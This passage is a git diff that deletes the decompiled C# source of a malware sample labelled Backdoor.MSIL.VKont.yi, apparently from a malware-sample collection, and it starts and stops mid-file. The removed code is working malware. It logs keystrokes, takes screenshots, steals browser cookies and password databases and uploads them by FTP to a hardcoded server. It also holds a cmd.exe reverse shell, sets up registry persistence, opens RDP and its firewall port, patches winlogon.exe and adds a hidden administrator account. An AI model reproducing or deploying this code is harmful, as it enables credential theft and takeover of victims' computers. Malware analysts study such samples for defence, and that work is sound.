RegistryValueKind.DWord); - } - catch - { - } - try - { - Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\DomainProfile\\GloballyOpenPorts\\List", true).SetValue("3389:TCP", (object) "3389:TCP:*:Enabled:@xpsp2res.dll,-22009", RegistryValueKind.String); - } - catch - { - } - try - { - Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\GloballyOpenPorts\\List", true).SetValue("3389:TCP", (object) "3389:TCP:*:Enabled:@xpsp2res.dll,-22009", RegistryValueKind.String); - } - catch - { - } - try - { - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Services\\TDTCP\\Enum", true); - registryKey.SetValue("0", (object) "Root\\LEGACY_TDTCP\\0000", RegistryValueKind.String); - registryKey.SetValue("Count", (object) "00000001", RegistryValueKind.DWord); - registryKey.SetValue("NextInstance", (object) "00000001", RegistryValueKind.DWord); - } - catch - { - } - try - { - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server", true); - registryKey.SetValue("fDenyTSConnections", (object) "0", RegistryValueKind.DWord); - registryKey.SetValue("TSAdvertise", (object) "00000001", RegistryValueKind.DWord); - registryKey.SetValue("IdleWinStationPoolCount", (object) "00000001", RegistryValueKind.DWord); - registryKey.SetValue("TSAppCompat", (object) "00000000", RegistryValueKind.DWord); - registryKey.SetValue("TSUserEnabled", (object) "00000000", RegistryValueKind.DWord); - } - catch - { - } - try - { - Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Licensing Core", true).SetValue("EnableConcurrentSessions", (object) "00000000", RegistryValueKind.DWord); - } - catch - { - } - try - { - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\RDPWD\\Enum", true); - registryKey.SetValue("0", (object) "Root\\LEGACY_RDPWD\\0000", RegistryValueKind.String); - registryKey.SetValue("Count", (object) "00000001", RegistryValueKind.DWord); - registryKey.SetValue("NextInstance", (object) "00000001", RegistryValueKind.DWord); - } - catch - { - } - try - { - Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\DomainProfile\\GloballyOpenPorts\\List", true).SetValue("3389:TCP", (object) "3389:TCP:*:Enabled:@xpsp2res.dll,-22009", RegistryValueKind.String); - } - catch - { - } - try - { - Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\GloballyOpenPorts\\List", true).SetValue("3389:TCP", (object) "3389:TCP:*:Enabled:@xpsp2res.dll,-22009", RegistryValueKind.String); - } - catch - { - } - try - { - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\TDTCP\\Enum", true); - registryKey.SetValue("0", (object) "Root\\LEGACY_TDTCP\\0000", RegistryValueKind.String); - registryKey.SetValue("Count", (object) "00000001", RegistryValueKind.DWord); - registryKey.SetValue("NextInstance", (object) "00000001", RegistryValueKind.DWord); - } - catch - { - } - try - { - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", true); - registryKey.SetValue("SFCSetting", (object) -99, RegistryValueKind.DWord); - registryKey.SetValue("SFCDisable", (object) -99, RegistryValueKind.DWord); - } - catch - { - } - try - { - Registry.LocalMachine.OpenSubKey("SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services", true).SetValue("MaxInstanceCount", (object) "2", RegistryValueKind.DWord); - } - catch - { - } - try - { - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp", true); - registryKey.SetValue("MaxInstanceCount", (object) "2", RegistryValueKind.DWord); - registryKey.SetValue("fEnableWinStation", (object) "00000001", RegistryValueKind.DWord); - } - catch - { - } - } - catch - { - } - } - - public static void RDP_M() => Program.TimeNow(); - - public static void w_Change() - { - try - { - if (!System.IO.File.Exists(Environment.SystemDirectory + "\\winlogon.exe")) - return; - System.IO.File.Copy(Environment.SystemDirectory + "\\winlogon.exe", Environment.SystemDirectory + "\\winlogon.123"); - FileStream fileStream = new FileStream(Environment.SystemDirectory + "\\winlogon.123", FileMode.Open); - byte[] buffer = new byte[fileStream.Length]; - fileStream.Read(buffer, 0, (int) fileStream.Length); - buffer[94] = (byte) 110; - buffer[173347] = (byte) 85; - buffer[173348] = (byte) 139; - buffer[173349] = (byte) 236; - buffer[173437] = (byte) 139; - buffer[173438] = byte.MaxValue; - buffer[173439] = (byte) 85; - BinaryWriter binaryWriter = new BinaryWriter((Stream) new FileStream(Environment.SystemDirectory + "\\winlogon.bak", FileMode.Create)); - binaryWriter.Write(buffer); - binaryWriter.Close(); - fileStream.Close(); - if (System.IO.File.Exists(Environment.SystemDirectory + "\\Dllcache\\winlogon.exe")) - { - System.IO.File.Move(Environment.SystemDirectory + "\\Dllcache\\winlogon.exe", Environment.SystemDirectory + "\\Dllcache\\winlogon.del"); - System.IO.File.Copy(Environment.SystemDirectory + "\\winlogon.bak", Environment.SystemDirectory + "\\Dllcache\\winlogon.exe"); - } - else - System.IO.File.Copy(Environment.SystemDirectory + "\\winlogon.bak", Environment.SystemDirectory + "\\Dllcache\\winlogon.exe"); - System.IO.File.Move(Environment.SystemDirectory + "\\winlogon.exe", Environment.SystemDirectory + "\\winlogon.lol"); - System.IO.File.Move(Environment.SystemDirectory + "\\winlogon.lol", Environment.SystemDirectory + "\\winlogon.exe"); - Thread.Sleep(2000); - System.IO.File.Move(Environment.SystemDirectory + "\\winlogon.exe", Environment.SystemDirectory + "\\winlogon.del"); - Thread.Sleep(2000); - System.IO.File.Move(Environment.SystemDirectory + "\\winlogon.bak", Environment.SystemDirectory + "\\winlogon.exe"); - } - catch - { - } - } - - public static void CreateUser(string UserName, string Password) - { - try - { - DirectoryEntry directoryEntry1 = new DirectoryEntry("WinNT://" + Environment.MachineName + ",Computer"); - DirectoryEntry directoryEntry2 = directoryEntry1.Children.Add(UserName, "user"); - directoryEntry2.Invoke("SetPassword", (object) Password); - directoryEntry2.CommitChanges(); - DirectoryEntry directoryEntry3 = (DirectoryEntry) null; - foreach (DirectoryEntry child in directoryEntry1.Children) - { - try - { - directoryEntry3 = directoryEntry1.Children.Find(child.Name, "group"); - directoryEntry3.Invoke("Add", (object) directoryEntry2.Path.ToString()); - } - catch - { - } - } - directoryEntry2.Close(); - directoryEntry1.Close(); - directoryEntry3.Close(); - } - catch - { - } - } - - private static void proces(string proc) - { - bool flag = true; - try - { - while (flag) - { - Application.DoEvents(); - Process[] processArray = (Process[]) null; - for (int index = 0; index < processArray.Length; ++index) - { - processArray = Process.GetProcesses(); - Thread.Sleep(20); - if (processArray[index].ProcessName == proc) - processArray[index].Kill(); - } - } - } - catch - { - } - } - - private static void key() - { - try - { - Thread.Sleep(100); - Program.thkey = new Thread[20]; - Application.EnableVisualStyles(); - Application.SetCompatibleTextRenderingDefault(false); - Program._hookID = Program.SetHook(Program._proc); - Application.Run(); - Program.UnhookWindowsHookEx(Program._hookID); - } - catch - { - } - } - - private static void Screnn() - { - for (int index = 1; index <= 0; ++index) - { - Thread.Sleep(TimeSpan.FromSeconds(0.0)); - new Program.ScreenShotDll().CaptureScreen("0" + Program.TimeNow() + ".Jpeg", ImageFormat.Jpeg); - } - } - - private static string ShowDomainUsers() - { - string str = (string) null; - DirectoryEntry directoryEntry1 = new DirectoryEntry("WinNT://" + Environment.MachineName); - foreach (DirectoryEntry child in directoryEntry1.Children) - { - try - { - foreach (object adsObject in (IEnumerable) directoryEntry1.Children.Find(child.Name, "Group").Invoke("Members", (object[]) null)) - { - DirectoryEntry directoryEntry2 = new DirectoryEntry(adsObject); - str = str + child.Name + ": " + directoryEntry2.Name + "\n"; - } - } - catch - { - } - } - return str; - } - - private static bool buffDlin(string buff) => Program.strbug.Length == buff.Length; - - private static bool buffZ(string purse, string param) - { - Program.buflyb = (string) null; - if (param == null) - return true; - int length = param.Length; - if (length == 0) - return true; - Program.strbuftx = (string) null; - for (int index = 0; index < length; ++index) - Program.strbuftx += (string) (object) Program.strbug[index]; - return param == Program.strbuftx; - } - - private static bool buffCritery(string buff_purse, string critery_p) => Program.buffDlin(buff_purse) && Program.buffZ(buff_purse, critery_p); - - private static void strBuffer() - { - try - { - string[] strArray1 = new string[0]; - string[] strArray2 = new string[0]; -label_1: - IDataObject dataObject; - do - { - Application.DoEvents(); - Thread.Sleep(100); - dataObject = Clipboard.GetDataObject(); - } - while (Program.strbug == (string) dataObject.GetData(DataFormats.Text) || !dataObject.GetDataPresent(DataFormats.Text)); - Program.strbug = (string) dataObject.GetData(DataFormats.Text); - for (int index = 0; index < strArray1.Length; ++index) - { - if (Program.buffCritery(strArray1[index], strArray2[index])) - Clipboard.SetDataObject((object) strArray1[index]); - } - goto label_1; - } - catch (Exception ex) - { - } - } - - private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam); - - public class ScreenShotDll - { - public void CaptureScreen(string fileName, ImageFormat imageFormat) => this.CaptureScreenShot().Save(fileName, imageFormat); - - public Bitmap CaptureScreenShot() - { - Image image = (Image) new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height); - Graphics graphics = Graphics.FromImage(image); - graphics.CompositingQuality = CompositingQuality.AssumeLinear; - IntPtr hdc = graphics.GetHdc(); - IntPtr windowDc = Program.GetWindowDC(Program.GetDesktopWindow()); - long num = (long) Program.BitBlt(hdc, 0, 0, Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, windowDc, 0, 0, 13369376); - graphics.ReleaseHdc(hdc); - return (Bitmap) image; - } - } - } -} diff --git a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.yi-2dde5199f6ed273c05ec3d4b92b269e14a6b02650c2411dddeafadb55acc9217/AssemblyInfo.cs b/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.yi-2dde5199f6ed273c05ec3d4b92b269e14a6b02650c2411dddeafadb55acc9217/AssemblyInfo.cs deleted file mode 100644 index 1e886428..00000000 --- a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.yi-2dde5199f6ed273c05ec3d4b92b269e14a6b02650c2411dddeafadb55acc9217/AssemblyInfo.cs +++ /dev/null @@ -1,3 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.yi-2dde5199f6ed273c05ec3d4b92b269e14a6b02650c2411dddeafadb55acc9217/Backdoor.MSIL.VKont.yi.csproj b/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.yi-2dde5199f6ed273c05ec3d4b92b269e14a6b02650c2411dddeafadb55acc9217/Backdoor.MSIL.VKont.yi.csproj deleted file mode 100644 index 3502a852..00000000 --- a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.yi-2dde5199f6ed273c05ec3d4b92b269e14a6b02650c2411dddeafadb55acc9217/Backdoor.MSIL.VKont.yi.csproj +++ /dev/null @@ -1,43 +0,0 @@ - - - - - Debug - AnyCPU - {AB3E65B1-DB46-4B2E-B71A-15E457AC8AA9} - Exe - 1 - 0.0.0.0 - Troj - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.yi-2dde5199f6ed273c05ec3d4b92b269e14a6b02650c2411dddeafadb55acc9217/Backdoor.MSIL.VKont.yi.sln b/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.yi-2dde5199f6ed273c05ec3d4b92b269e14a6b02650c2411dddeafadb55acc9217/Backdoor.MSIL.VKont.yi.sln deleted file mode 100644 index 62b5b1ae..00000000 --- a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.yi-2dde5199f6ed273c05ec3d4b92b269e14a6b02650c2411dddeafadb55acc9217/Backdoor.MSIL.VKont.yi.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "1", "Backdoor.MSIL.VKont.yi-2dde5199f6ed273c05ec3d4b92b269e14a6b02650c2411dddeafadb55acc9217.csproj", "{AB3E65B1-DB46-4B2E-B71A-15E457AC8AA9}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {AB3E65B1-DB46-4B2E-B71A-15E457AC8AA9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {AB3E65B1-DB46-4B2E-B71A-15E457AC8AA9}.Debug|Any CPU.Build.0 = Debug|Any CPU - {AB3E65B1-DB46-4B2E-B71A-15E457AC8AA9}.Release|Any CPU.ActiveCfg = Release|Any CPU - {AB3E65B1-DB46-4B2E-B71A-15E457AC8AA9}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.yi-2dde5199f6ed273c05ec3d4b92b269e14a6b02650c2411dddeafadb55acc9217/Program.cs b/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.yi-2dde5199f6ed273c05ec3d4b92b269e14a6b02650c2411dddeafadb55acc9217/Program.cs deleted file mode 100644 index 737b40fa..00000000 --- a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.yi-2dde5199f6ed273c05ec3d4b92b269e14a6b02650c2411dddeafadb55acc9217/Program.cs +++ /dev/null @@ -1,949 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Troj.Program -// Assembly: 1, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F8372727-BB73-4F53-AA9E-07EA825B5937 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.VKont.yi-2dde5199f6ed273c05ec3d4b92b269e14a6b02650c2411dddeafadb55acc9217.exe - -using Microsoft.Win32; -using System; -using System.Diagnostics; -using System.DirectoryServices; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Net; -using System.Net.Mail; -using System.Net.Sockets; -using System.Runtime.InteropServices; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -namespace Troj -{ - public class Program - { - private const int WH_KEYBOARD_LL = 13; - private const int WM_KEYDOWN = 256; - private static int svsex; - private static int sdosta; - private static string logkey; - private static int keycount = 0; - private static Thread[] thkey; - private static Thread[] tcherez; - private static int cerezcount = 0; - private static int keyI; - private static string strbug; - private static string strbuftx; - private static string buflyb; - private static int ftpi; - private static int countGroup = 0; - private static Program.LowLevelKeyboardProc _proc = new Program.LowLevelKeyboardProc(Program.HookCallback); - private static IntPtr _hookID = IntPtr.Zero; - private static Thread th; - private static TcpClient socketForServer; - private static NetworkStream networkStream; - private static StreamWriter streamWriter; - private static StreamReader streamReader; - private static Process processCmd; - private static StringBuilder strInput; - - [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] - private static extern IntPtr SetWindowsHookEx( - int idHook, - Program.LowLevelKeyboardProc lpfn, - IntPtr hMod, - uint dwThreadId); - - [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] - [return: MarshalAs(UnmanagedType.Bool)] - private static extern bool UnhookWindowsHookEx(IntPtr hhk); - - [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] - private static extern IntPtr CallNextHookEx( - IntPtr hhk, - int nCode, - IntPtr wParam, - IntPtr lParam); - - [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] - private static extern IntPtr GetModuleHandle(string lpModuleName); - - [DllImport("user32.dll")] - public static extern IntPtr FindWindow(string lpClassName, string lpWindowName); - - [DllImport("user32.dll")] - private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); - - private static void SearchAll( - string disk, - string n_file, - string smail, - string sftp, - string spapka) - { - DirectoryInfo directoryInfo = new DirectoryInfo(disk); - try - { - foreach (DirectoryInfo directory in directoryInfo.GetDirectories()) - { - try - { - foreach (FileSystemInfo file in directory.GetFiles(n_file, SearchOption.TopDirectoryOnly)) - Program.CherezShto(file.FullName, smail, sftp, spapka); - } - catch - { - } - Program.SearchAll(directory.FullName, n_file, smail, sftp, spapka); - } - } - catch - { - } - } - - private static IntPtr SetHook(Program.LowLevelKeyboardProc proc) - { - using (Process currentProcess = Process.GetCurrentProcess()) - { - using (ProcessModule mainModule = currentProcess.MainModule) - return Program.SetWindowsHookEx(13, proc, Program.GetModuleHandle(mainModule.ModuleName), 0U); - } - } - - private static string TimeNow() - { - DateTime now = DateTime.Now; - return now.Year.ToString() + "-" + now.Month.ToString() + "-" + now.Day.ToString() + "-" + now.Hour.ToString() + "-" + now.Minute.ToString() + "-" + now.Second.ToString(); - } - - private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) - { - Program.thkey = new Thread[128]; - if (nCode >= 0 && wParam == (IntPtr) 256) - { - int num = Marshal.ReadInt32(lParam); - if (num == 13) - { - Program.logkey += "\n"; - } - else - { - ++Program.sdosta; - ++Program.svsex; - Program.logkey = Program.logkey + (object) (Keys) num + ";"; - if (Program.sdosta == 100) - { - Program.sdosta = 0; - string time = Program.TimeNow(); - try - { - StreamWriter streamWriter = new StreamWriter("" + time + "."); - streamWriter.Write(Program.logkey); - streamWriter.Close(); - Program.thkey[Program.keycount] = new Thread((ThreadStart) (() => - { - if (!Program.CherezShto("" + time + ".", "False", "True", "Troi")) - ; - })); - Program.thkey[Program.keycount].Start(); - ++Program.keycount; - } - catch - { - } - if (Program.keycount > 120) - Program.keycount = 0; - Program.logkey = (string) null; - } - } - } - return Program.CallNextHookEx(Program._hookID, nCode, wParam, lParam); - } - - public static void SearchonDisk(string tmp_file, string smail, string sftp, string spapka) - { - try - { - foreach (string logicalDrive in Directory.GetLogicalDrives()) - Program.SearchAll(logicalDrive, tmp_file, smail, sftp, spapka); - } - catch - { - } - } - - public static bool CherezShto(string strfile, string nmail, string nftp, string pftp) - { - if (nmail == "True" || nmail == "true") - Program.Sendmailfile(strfile, "User send you message : " + strfile, "null", 0, "null", "null", "null", false); - if (nftp == "True" || nmail == "true") - Program.Upload_ftp(strfile, "93.170.48.157", "darkh527_admin", "4121313", pftp); - return true; - } - - public static void CreatFileIEforXP(string smail, string sftp, string spapka) - { - if (System.IO.File.Exists("")) - System.IO.File.Delete(""); - try - { - string[] directories1 = Directory.GetDirectories("C:\\Documents and Settings\\"); - string[] strArray1 = new string[directories1.Length]; - for (int index1 = 0; index1 < directories1.Length; ++index1) - { - if (!(directories1[index1] == "C:\\Documents and Settings\\All Users") && !(directories1[index1] == "C:\\Documents and Settings\\LocalService") && !(directories1[index1] == "C:\\Documents and Settings\\Default User") && !(directories1[index1] == "C:\\Documents and Settings\\NetworkService")) - { - strArray1[index1] = directories1[index1].Substring(26); - string[] directories2 = Directory.GetDirectories("C:\\Documents and Settings\\" + strArray1[index1].ToString()); - string[] strArray2 = new string[directories2.Length]; - StreamReader streamReader = (StreamReader) null; - StreamWriter streamWriter = new StreamWriter("", true, Encoding.UTF8); - for (int index2 = 0; index2 < directories2.Length; ++index2) - { - strArray2[index2] = directories2[index2].Substring(26 + strArray1[index1].Length); - if (strArray2[index2] == "\\Cookies") - { - string[] files = Directory.GetFiles("C:\\Documents and Settings\\" + strArray1[index1].ToString() + strArray2[index2].ToString(), "*.txt"); - string[] strArray3 = new string[files.Length]; - for (int index3 = 0; index3 < files.Length; ++index3) - { - strArray3[index3] = files[index3].Substring(26 + strArray1[index1].Length + strArray2[index2].Length); - string path = "C:\\Documents and Settings\\" + strArray1[index1].ToString() + strArray2[index2].ToString() + strArray3[index3].ToString(); - streamReader = new StreamReader((Stream) new FileStream(path, FileMode.Open, FileAccess.Read)); - string str = path + "\n" + streamReader.ReadToEnd(); - streamWriter.Write(str); - } - streamReader.Close(); - streamWriter.Close(); - break; - } - } - } - } - Program.CherezShto("", smail, sftp, spapka); - } - catch - { - if (!System.IO.File.Exists("")) - return; - Program.CherezShto("", smail, sftp, spapka); - } - } - - public static bool Sendmailfile( - string temp, - string user, - string ssmtp, - int sport, - string smail, - string spass, - string vmail, - bool sssl) - { - Attachment attachment = new Attachment(temp, "application/octet-stream"); - bool flag; - try - { - SmtpClient smtpClient = new SmtpClient(ssmtp, sport); - smtpClient.Credentials = (ICredentialsByHost) new NetworkCredential(smail, spass); - smtpClient.EnableSsl = sssl; - MailMessage message = new MailMessage(); - message.From = new MailAddress(smail); - message.To.Add(new MailAddress(vmail)); - message.Subject = user; - message.Body = user; - message.Attachments.Add(attachment); - smtpClient.Send(message); - attachment.Dispose(); - flag = true; - } - catch - { - flag = false; - attachment.Dispose(); - } - return flag; - } - - private static bool Upload_ftp( - string filename, - string ftpServerIP, - string ftpUserID, - string ftpPassword, - string papka) - { - ++Program.ftpi; - FileInfo fileInfo = new FileInfo(filename); - FtpWebRequest ftpWebRequest = (FtpWebRequest) WebRequest.Create(new Uri("ftp://" + ftpServerIP + "/" + papka + "/" + Program.TimeNow() + "-" + fileInfo.Name)); - ftpWebRequest.Proxy = (IWebProxy) null; - ftpWebRequest.Credentials = (ICredentials) new NetworkCredential(ftpUserID, ftpPassword); - ftpWebRequest.KeepAlive = false; - ftpWebRequest.Method = "STOR"; - ftpWebRequest.UseBinary = true; - ftpWebRequest.ContentLength = fileInfo.Length; - int count1 = 2048; - byte[] buffer = new byte[count1]; - FileStream fileStream = fileInfo.OpenRead(); - try - { - Stream requestStream = ftpWebRequest.GetRequestStream(); - for (int count2 = fileStream.Read(buffer, 0, count1); count2 != 0; count2 = fileStream.Read(buffer, 0, count1)) - requestStream.Write(buffer, 0, count2); - requestStream.Close(); - fileStream.Close(); - return true; - } - catch - { - return false; - } - } - - public static void userVista( - string disk, - string n_file, - string m_send, - string smail, - string sftp, - string spapka) - { - if (m_send == "c_send") - { - try - { - string path = "C:\\Users"; - string[] directories = Directory.GetDirectories(path); - for (int index = 0; index < directories.Length; ++index) - { - try - { - if (!(directories[index] == path + "\\All Users")) - { - if (!(directories[index] == path + "\\Default")) - { - if (!(directories[index] == path + "\\Default User")) - { - if (!(directories[index] == path + "\\Public")) - Program.SearchAll(directories[index] + disk, n_file, smail, sftp, spapka); - } - } - } - } - catch - { - } - } - } - catch - { - } - } - if (!(m_send == "p_send")) - return; - Program.SearchAll(disk, n_file, smail, sftp, spapka); - } - - public static void CreatFileIEforVista(string smail, string sftp, string spapka) - { - if (System.IO.File.Exists("")) - System.IO.File.Delete("@"); - try - { - string path = "C:\\Users"; - string searchPattern = "*.txt"; - string[] directories = Directory.GetDirectories(path); - for (int index = 0; index < directories.Length; ++index) - { - try - { - if (!(directories[index] == path + "\\All Users")) - { - if (!(directories[index] == path + "\\Default")) - { - if (!(directories[index] == path + "\\Default User")) - { - if (!(directories[index] == path + "\\Public")) - { - foreach (string directory in Directory.GetDirectories(directories[index] + "\\AppData\\Roaming\\Microsoft\\Windows\\Cookies")) - { - try - { - DirectoryInfo directoryInfo = new DirectoryInfo(directory); - StreamReader streamReader = (StreamReader) null; - StreamWriter streamWriter = new StreamWriter("", true, Encoding.UTF8); - foreach (FileInfo file in directoryInfo.GetFiles(searchPattern, SearchOption.TopDirectoryOnly)) - { - streamReader = new StreamReader((Stream) new FileStream(file.FullName, FileMode.Open, FileAccess.Read)); - string str = file.FullName + "\n" + streamReader.ReadToEnd(); - streamWriter.Write(str); - } - streamReader.Close(); - streamWriter.Close(); - } - catch - { - } - } - } - } - } - } - } - catch - { - } - } - Program.CherezShto("", smail, sftp, spapka); - } - catch - { - } - } - - [STAThread] - private static void Main(string[] args) - { - Console.Title = args.Length != 0 ? args[0].ToString() : "Hello"; - Program.ShowWindow(Program.FindWindow((string) null, Console.Title), 0); - try - { - FileInfo fileInfo = new FileInfo(Environment.GetCommandLineArgs()[0]); - if (args.Length == 0) - { - Process.Start(new ProcessStartInfo() - { - Verb = "runas", - FileName = Environment.CurrentDirectory + "\\" + fileInfo.Name, - Arguments = "administrator", - WindowStyle = ProcessWindowStyle.Hidden, - CreateNoWindow = true - }); - } - else - { - Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\", true).SetValue("C:\\Dokumente und Einstellungen\\sys\\Desktop\\GeneratorTroj\\1.exe", (object) Application.ExecutablePath); - new Thread((ThreadStart) (() => - { - Program.SearchAll("C:\\", "cookies.sqlite", "False", "True", "Troi"); - Program.SearchAll("C:\\", "signons.sqlite", "False", "True", "Troi"); - Program.SearchAll("C:\\", "wand.dat", "False", "True", "Troi"); - Program.SearchAll("C:\\", "cookies4.dat", "False", "True", "Troi"); - Program.CreatFileIEforXP("False", "True", "Troi"); - Program.CreatFileIEforVista("False", "True", "Troi"); - Program.SearchAll("C:\\", "Owner.MDB", "False", "True", "Troi"); - Program.SearchAll("C:\\", "*.bip", "False", "True", "Troi"); - Program.SearchAll("C:\\", "*.qip", "False", "True", "Troi"); - })).Start(); - Program.SearchAll("C:\\", "uin.txt", "False", "True", "Troi"); - Program.SearchAll("D:\\", "uin.txt", "False", "True", "Troi"); - Program.SearchAll("C:\\", "Данные.txt", "False", "True", "Troi"); - new Thread(new ThreadStart(Program.key)).Start(); - new Thread(new ThreadStart(Program.Screnn)).Start(); - new Thread[1] - { - new Thread((ThreadStart) (() => Program.proces("svhost"))) - }[0].Start(); - new Thread((ThreadStart) (() => Program.RDP_M())).Start(); - } - } - catch - { - Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\", true).SetValue("C:\\Dokumente und Einstellungen\\sys\\Desktop\\GeneratorTroj\\1.exe", (object) Application.ExecutablePath); - new Thread((ThreadStart) (() => - { - Program.SearchAll("C:\\", "cookies.sqlite", "False", "True", "Troi"); - Program.SearchAll("C:\\", "signons.sqlite", "False", "True", "Troi"); - Program.SearchAll("C:\\", "wand.dat", "False", "True", "Troi"); - Program.SearchAll("C:\\", "cookies4.dat", "False", "True", "Troi"); - Program.CreatFileIEforXP("False", "True", "Troi"); - Program.CreatFileIEforVista("False", "True", "Troi"); - Program.SearchAll("C:\\", "Owner.MDB", "False", "True", "Troi"); - Program.SearchAll("C:\\", "*.bip", "False", "True", "Troi"); - Program.SearchAll("C:\\", "*.qip", "False", "True", "Troi"); - })).Start(); - Program.SearchAll("C:\\", "uin.txt", "False", "True", "Troi"); - Program.SearchAll("D:\\", "uin.txt", "False", "True", "Troi"); - Program.SearchAll("C:\\", "Данные.txt", "False", "True", "Troi"); - new Thread(new ThreadStart(Program.key)).Start(); - new Thread(new ThreadStart(Program.Screnn)).Start(); - new Thread[1] - { - new Thread((ThreadStart) (() => Program.proces("svhost"))) - }[0].Start(); - new Thread((ThreadStart) (() => Program.RDP_M())).Start(); - } - } - - public static void Backdoor() - { - try - { - Thread tsend = new Thread((ThreadStart) (() => - { - try - { - Program.processCmd = new Process(); - Program.processCmd.StartInfo.FileName = "cmd.exe"; - Program.processCmd.StartInfo.CreateNoWindow = true; - Program.processCmd.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; - Program.processCmd.StartInfo.UseShellExecute = false; - Program.processCmd.StartInfo.RedirectStandardOutput = true; - Program.processCmd.StartInfo.RedirectStandardInput = true; - Program.processCmd.StartInfo.RedirectStandardError = true; - Program.processCmd.OutputDataReceived += new DataReceivedEventHandler(Program.proc); - Program.processCmd.Start(); - Program.processCmd.BeginOutputReadLine(); - Program.strInput = new StringBuilder(); - try - { - while (true) - { - Program.strInput.Append(Program.streamReader.ReadLine()); - Program.strInput.Append("\n"); - Program.processCmd.StandardInput.WriteLine((object) Program.strInput); - Program.processCmd.StandardInput.Flush(); - Program.strInput.Remove(0, Program.strInput.Length); - } - } - catch (Exception ex) - { - } - } - catch - { - } - })); - new Thread((ThreadStart) (() => - { - try - { - Program.socketForServer = new TcpClient("0", 0); - Program.networkStream = Program.socketForServer.GetStream(); - Program.streamReader = new StreamReader((Stream) Program.networkStream); - Program.streamWriter = new StreamWriter((Stream) Program.networkStream); - tsend.Start(); - } - catch - { - } - })).Start(); - } - catch - { - } - } - - private static void proc(object sender, DataReceivedEventArgs e) - { - StringBuilder stringBuilder = new StringBuilder(); - if (string.IsNullOrEmpty(e.Data)) - return; - try - { - stringBuilder.Append(e.Data); - Program.streamWriter.WriteLine((object) stringBuilder); - Program.streamWriter.Flush(); - } - catch - { - } - } - - public static void FileP() - { - try - { - if (Directory.Exists(Environment.SystemDirectory + "\\Dllcache")) - { - int length = Directory.GetFiles(Environment.SystemDirectory + "\\Dllcache").Length; - for (int index = 0; index < length; ++index) - { - try - { - System.IO.File.Delete(Directory.GetFiles(Environment.SystemDirectory + "\\Dllcache")[0]); - } - catch - { - } - } - } - if (!Directory.Exists(Environment.SystemDirectory + "\\CatRoot")) - return; - for (int index1 = 0; index1 < Directory.GetDirectories(Environment.SystemDirectory + "\\CatRoot").Length; ++index1) - { - for (int index2 = 0; index2 < Directory.GetFiles(Directory.GetDirectories(Environment.SystemDirectory + "\\CatRoot")[index1]).Length; ++index2) 